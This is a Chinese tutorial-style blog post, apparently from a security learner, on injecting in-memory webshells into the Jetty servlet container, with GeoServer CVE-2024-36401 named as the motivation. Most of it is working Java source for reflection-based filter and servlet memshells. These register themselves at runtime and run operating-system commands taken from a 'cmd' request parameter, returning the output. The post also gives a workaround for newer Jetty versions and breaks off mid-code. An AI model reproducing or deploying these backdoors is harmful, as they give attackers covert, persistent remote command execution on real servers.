AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

从0到1学会Jetty内存马注入

2024-08-06 81
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 最近在学习geoserver的CVE-2024-36401注入内存马的时候，发现需要注入jetty类型的内存马，这是一个不同于tomcat的轻量级web容器。具体来说，Jetty 是一个开源的servlet容器，它为基于Java的web容器，例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的，它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象，可以迅速为一些独立运行（stand-alone）的Java应用提供网络和web连接。

最近在学习geoserver的CVE-2024-36401注入内存马的时候，发现需要注入jetty类型的内存马，这是一个不同于tomcat的轻量级web容器。具体来说，Jetty 是一个开源的servlet容器，它为基于Java的web容器，例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的，它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象，可以迅速为一些独立运行（stand-alone）的Java应用提供网络和web连接。

环境搭建

因为我本身并不熟悉jetty的内容，所以这里把有关环境部署的部分也记录下来了，使用IDEA的maven Archetype创建webapp模板的应用程序模板，如下所示：



然后编写pom文件当中的内容，引入jetty的相关依赖。我的pom文件内容如下所示：


<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>JettyMemshell</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>JettyMemshell Maven Webapp</name>
  <url>http://maven.apache.org</url>
<!--建议更换成9.0.7.v20131107不会出现后续问题分析的前一个问题-->
  <properties>
    <jetty.version>9.4.44.v20210927</jetty.version>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.eclipse.jetty</groupId>
      <artifactId>jetty-server</artifactId>
      <version>${jetty.version}</version>
    </dependency>
    <dependency>
      <groupId>org.eclipse.jetty</groupId>
      <artifactId>jetty-servlet</artifactId>
      <version>${jetty.version}</version>
    </dependency>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
  <build>
    <finalName>JettyMemshell</finalName>
    <plugins>
      <plugin>
        <groupId>org.eclipse.jetty</groupId>
        <artifactId>jetty-maven-plugin</artifactId>
        <version>${jetty.version}</version>
        <configuration>
          <httpConnector>
          <port>8080</port>
          </httpConnector>
          <scanIntervalSeconds>10</scanIntervalSeconds>
          <webApp>
            <contextPath>/</contextPath>
          </webApp>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>


然后编写一个简单的servlet来观察这个应用程序是否能够按照预期进行正常运行：


package com.fanxing.servlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class HelloServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        res.setContentType("text/html");
        res.setStatus(HttpServletResponse.SC_OK);
        res.getWriter().println("<h1>Hello World</h1>");
    }
}


最后配置一下web.xml：


<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.fanxing.servlet.HelloServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>
</web-app>


由于在Run/Debug Configurations当中我并没有找到配置Jetty server的地方，所以我们这里采用maven plugin的方式启动该应用程序。



点开右侧的Maven然后点击plugins的Jetty:run，然后就可以正常启动应用程序，并且能够正常访问。



同时右键jetty:run可以对该应用程序进行调试。


Filter分析

如下过程参考至https://xz.aliyun.com/t/12182。


为了知道如何装配内存马的各个部分我们必须要知道原Filter是如何构成的，我们需要定位到调用doFilter的部分进行观察。



其调用chian.doFilter，我们需要定位chain的获取位置，并在此下断点再次启动应用程序看其内部逻辑。



我们往前去溯源程序的运行逻辑可以发现，源程序是在如下代码段当中进行Filter的获取的，其中关键的变量是_filterPathMappings。


filter内存马实现

_filterPathMapping当中记录了有关filter的信息，这些都会在初始化该变量的时候用到。现在我们可以理一下思路ServletHandler里面有一个filterchain，这个filterchain里面的信息是通过_filterPathMapping拿到的，所以我们的第一步是获取ServletHandler它是整个内存马的基石，如同tomcat当中StandardContext一样。使用jos搜索对象我们可以得到下面的结果：



根据搜索出来的结果我们就可以找到对应的获取ServletHandler的方式：


public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }


然后回来再看_filterPathMappings这个变量，我们可以通过观察它运行时的状态，来看它包含哪些内容。首先，_filterPathMappings是一个ArrayList类型的对象，其中包含的数组元素是FilterMapping类型，每一个FilterMapping类型的变量内部都含有_filtername，_holder，_pathSpecs三个变量。



我们从FilterMapping.class文件当中的函数中可以看到，针对每一种我们所需要的元素都有对应的setter方法：



在这些setter方法当中我们可以发现setFilterName本身并不是很需要，因为在setFilterHolder里面就已经自动调用了该方法。而setPathSpecs本身的入参是一个String类型的路径，也非常简单，唯一需要操作的点是setFilterHolder，首先他不是public我们需要通过反射进行获取并调用，其次是我们需要额外的初始化一个FilterHolder类型的对象。



下面是我给出的这部分的代码段：


//获取FilterHolder
            Filter filter = new BehinderFilter();
            FilterHolder filterHolder = new FilterHolder(filter);
            //拼凑filtermapping
            FilterMapping filterMapping = new FilterMapping();
            Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);
            setFilterHolder.invoke(filterMapping, filterHolder);
            filterMapping.setPathSpec("/evil");


最后参考源代码当中向_filterPathMapping添加filtermapping，_filterPathMapping.add(filtermapping)。



到此为止，理论成立，我们来看实战结果。我将整体的filter内存马结果代码展示如下：


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import org.eclipse.jetty.servlet.ServletHandler;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    public static Object getFieldValue(Object obj, String name) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
        Method method = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(name, paramClazz);
                break;
            } catch (NoSuchMethodException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        method.setAccessible(true);
        return method;
    }
    public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }
    static {
        try {
            //获取ServletHandler
            getHandler();
            //获取FilterHolder
            Filter filter = new BehinderFilter();
            FilterHolder filterHolder = new FilterHolder(filter);
            filterHolder.setName("BehinderFilter");
            //拼凑filtermapping
            FilterMapping filterMapping = new FilterMapping();
            Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);
            setFilterHolder.invoke(filterMapping, filterHolder);
            filterMapping.setPathSpec("/evil");
            //加入filterPathMappings
            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        //回显处理
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
        String line;
        StringBuilder stringBuilder = new StringBuilder();
        while ((line = reader.readLine()) != null){
            stringBuilder.append(line + "\n");
        }
        ServletOutputStream servletOutputStream = response.getOutputStream();
        servletOutputStream.write(stringBuilder.toString().getBytes());
        servletOutputStream.flush();
        servletOutputStream.close();
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
    }
}


为了测试内存马性能，我才用最简单粗暴的触发方式，在HelloServlet当中直接加载该内存马。代码如下：


public class HelloServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        try {
            Thread.currentThread().getContextClassLoader().loadClass(BehinderFilter.class.getName()).newInstance();
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        res.setContentType("text/html");
        res.setStatus(HttpServletResponse.SC_OK);
        res.getWriter().println("<h1>Hello World</h1>");
    }
}


在注册之前我们先访问一下/evil，这个时候可以看到这个路由是啥也没有的。



然后访问一下/hello注入一下我们理论成立的内存马，最后再访问/evil路由，结果如下。看到这个报错我直接？？？？


问题分析

好好好同类型无法相互转换okok。但是这至少说明我们的所有想写入的字段都写进去了，要不然也不会报这个错。通过一番调试我发现问题出现在遍历_filterPathMappings上面。



数组里面有三个filtermapping，Jetty_WebSocketUpgradeFilter,HelloFilter,BehinderFilter,在遍历到第三个的时候直接抛出异常。



我们来对比一下正常的Filter和我们所注入的filter之间的区别。



对比之后我们可以发现主要的区别在holder里面，我们的holder仿佛什么都没有，但是我们确实是使用带有filter的构造函数进行实例化的。



但是由于多态的特性我们原先的写法，永远无法到达FilterHolder(Filter filter)当中，只会调用第一个构造方法。


FilterHolder filterHolder = new FilterHolder(filter);


但是这不是根本问题，我们仍可以采用分段式的函数调用来弥补直接调用构造的方法的不足，如下所示：


FilterHolder filterHolder = new FilterHolder();
filterHolder.setFilter(filter);


这样我们解决问题了吗？并没有，原因就在setFilter()函数当中，他根本就没有往_filter里面放数据。当然这个和jetty的版本有很大的关系，当前的版本是9.4.44.v20210927。



我们回到9.0.7.v20131107版本当中，就会发现其中的内容有很大的变化，它能够正常给_filter赋值。（后面的所有步骤都是用9.0.7.v20131107）。



但是即便是这种情况下也无法避免org.eclipse.jetty.servlet.FilterMapping cannot be cast to org.eclipse.jetty.servlet.FilterMapping。

问题解答（类加载器的命名空间问题）

网上关于这种报错的有两种解释：一种是针对于spring环境下的特化问题：devtool上的热部署，第二种解释是类加载器的命名空间问题。


再回到https://xz.aliyun.com/t/12182文章当中提出的payload，我们拿过来做一点简单的改动，得到下面的payload，这一次是可以完美运行的没有任何问题。


package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";
    private static String filterClassName = "MemshellTest.BehinderFilter";
    private static String url = "/*";
    public static Object getFieldValue(Object obj, String name) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
        Method method = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(name, paramClazz);
                break;
            } catch (NoSuchMethodException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        method.setAccessible(true);
        return method;
    }
    public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }
    static {
        try {
            //获取ServletHandler
            getHandler();
            //获取FilterHolder
            Filter filter = new BehinderFilter();
            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,filter);
            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);
            //拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();
            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);
            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);
            //加入filterPathMappings
            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        //回显处理
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
        String line;
        StringBuilder stringBuilder = new StringBuilder();
        while ((line = reader.readLine()) != null){
            stringBuilder.append(line + "\n");
        }
        ServletOutputStream servletOutputStream = response.getOutputStream();
        servletOutputStream.write(stringBuilder.toString().getBytes());
        servletOutputStream.flush();
        servletOutputStream.close();
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
    }
}


无论是从环境的角度考虑，还是从结果的payload当中来看问题的答案都倾向于第二种说法，因为在payload当中使用应用类加载器加载出的类用于初始化是没有任何问题的，能够和之前的在源码当中的对象进行相互转化。


servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();


原因就是在程序运行的时候，有另外的加载器也加载了这个类，然后我们在使用new去声明该类的的时候调用了该类加载器加载的类从而造成了命名空间的不同。

额外的问题

我们可不可以使用反射获取filtermapping然后其他的部分（filterholder）使用new的方式获取实例化对象？答案也是不行。


//反射方式
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
//new方式
FilterHolder filterHolder = new FilterHolder();


在我个人的尝试过程中，结果是不行的，它会在后续的为filtermapping反射获取方法的时候受到限制。


Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());


如果我们使用的是反射方式，在这一步当中，它会提示我们找不到对应的方法，而在源码当中确实存在入参为该类的方法。我们可以分别在该处打下断点，然后用evaluate去计算这两种情况下的filterHolder.getClass()的值：


//new实例化方式



//反射方式



这两个结果只有一个不同，就是使用反射获取构造器实例化的对象当中在reflectionData当中是有值的。

最终Filter内存马

所以结合这些问题的分析与解决我们最后得到一个测试成功的内存马：


package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";
    private static String filterClassName = "MemshellTest.BehinderFilter";
    private static String url = "/*";
    public static Object getFieldValue(Object obj, String name) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
        Method method = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(name, paramClazz);
                break;
            } catch (NoSuchMethodException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        method.setAccessible(true);
        return method;
    }
    public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }
    static {
        try {
            //获取ServletHandler
            getHandler();
            //获取FilterHolder
            Filter filter = new BehinderFilter();
            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,filter);
            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);
            //拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();
            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);
            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);
            //加入filterPathMappings
            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        //回显处理
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
        String line;
        StringBuilder stringBuilder = new StringBuilder();
        while ((line = reader.readLine()) != null){
            stringBuilder.append(line + "\n");
        }
        ServletOutputStream servletOutputStream = response.getOutputStream();
        servletOutputStream.write(stringBuilder.toString().getBytes());
        servletOutputStream.flush();
        servletOutputStream.close();
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
    }
}

Serlevt内存马分析构造

在filter内存马的实现当中，我们发现在ServletHandler对象里面存在了很多有用的变量其中就包含了 _filterPathMapings他可以帮我们实现filter内存马，更进一步的，有没有别的变量可以帮助我们实现servlet内存马呢？从变量池里面我们看到了_servlets以及_servletsMapping。



在ServletHandler类当中可以检索通过哪个函数为_servlets进行赋值，然后再定位调用赋值函数的位置。最终能找到addServlet函数对_servlets进行赋值且变量类型为ServletHolder。



然而ServletHolder当中的内容和FilterHolder的内容差不多，可以直接把FilterHolder进行实例化的部分照抄过来，得到如下所示的代码段。


//获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
//装载_servlet
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);


对于_servletsMapping来讲，其内容物是一个ServletMapping的对象，主要就是存放Servlet的作用路径以及Servlet的名称。



最后通过同样的思路也能够找到ServletHandler对_servletsMapping变量进行赋值的过程。如下所示：



最终给出如下的servlet内存马代码：


package com.fanxing.servlet;
import MemshellTest.BehinderFilter;
import javax.servlet.Filter;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderServlet extends HttpServlet {
    public static Object servletHandler = null;
    private static String ServletName = "BehinderServlet";
    private static String url = "/*";
    public static Object getFieldValue(Object obj, String name) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }
    static {
        try {
            //获取ServletHandler
            getHandler();
            //获取ServletHolder
            Servlet servlet = new BehinderServlet();
            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object servletHolder = constructor2.newInstance();
            Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
            setFilter.invoke(servletHolder, servlet);
            Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
            setName.invoke(servletHolder, ServletName);
            //装载_servlet
            Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
            addServlet.setAccessible(true);
            addServlet.invoke(servletHandler, servletHolder);
            //初始化mapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object servletMapping = constructor.newInstance();
            Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
            setFilterName.invoke(servletMapping, ServletName);
            String pathSpecs = url;
            Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
            setPathSpec.invoke(servletMapping, pathSpecs);
            //加入_servletMappings
            Method addServletMapping = servletHandler.getClass().getDeclaredMethod("addServletMapping", servletMapping.getClass());
            addServletMapping.setAccessible(true);
            addServletMapping.invoke(servletHandler,servletMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp)
            throws ServletException, IOException {
        resp.getWriter().write("FanXing");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}


结果如下所示：


高版本利用绕过

之前在Filter内存马实现的过程中前半段使用的是9.4.44.v20210927版本jetty，在那个版本有一个setFilter没有办法正常set变量_filter的问题，所以在后半段以及Servlet内存马实现的时候都使用的是9.0.7.v20131107版本。


这一节主要是为了解决高版本下的内容绕过，再次回到FilterHolder代码段跟踪运行逻辑。


FilterHolder#setFilter。



然后到Holder#setInstance。



最后到BaseHolder#setInstance，可以发现传进去的filter实例化对象最终赋给了_instance。



最后回看FilterHolder当中的代码检索哪一部分，调用了getInstance，最后发现在initialize()函数当中使用getInstance为_filter进行赋值。



进一步的去看super.initialize()当中的内容，可以发现它做了一次有关生命周期的判断内容，在默认情况下我们走到这里的_state是0，所以在这里我们会直接进入if语句里面并抛出异常（AbstractLifeCycle#isStarted）。



但是在AbstractLifeCycle当中存在着可以改变_state的setter方法，比如可以强制把他改变成2的getStarted()方法。



所以我们可以在获取FilterHolder当中的代码下面加入如下语句，这样内存马就可以按照预期的逻辑向_filter当中写入数据了。


Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);


但是这样仍不够，我们通过了上面代码当中的判断，直接来到了。


this._filter = (Filter)this.wrap(this._filter, WrapFunction.class, WrapFunction::wrapFilter);


在使用wrap进行封装的时候会出现问题，在该代码逻辑里面会采用getServletHandler()来获取ServletHandler对象，但是这里的this是FilterHolder其中的_servletHandler是null，所以会造成空指针异常。



为了过这一步验证，我们可以在getHandler里面拿到的servletHanlder通过setter方法放进去：


Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);


最终我们的实现结果如下：


package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";
    private static String url = "/*";
    public static Object getFieldValue(Object obj, String name) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
        Method method = null;
        Class clazz = obj.getClass();
        while(clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(name, paramClazz);
                break;
            } catch (NoSuchMethodException var6) {
                clazz = clazz.getSuperclass();
            }
        }
        method.setAccessible(true);
        return method;
    }
    public static void getHandler() throws Exception{
        Object thread = Thread.currentThread();
        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
        Object context = getFieldValue(contextClassLoader,"_context");
        servletHandler = getFieldValue(context, "_servletHandler");
    }
    static {
        try {
            //获取ServletHandler
            getHandler();
            //获取FilterHolder
            Filter filter = new BehinderFilter();
            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,filter);
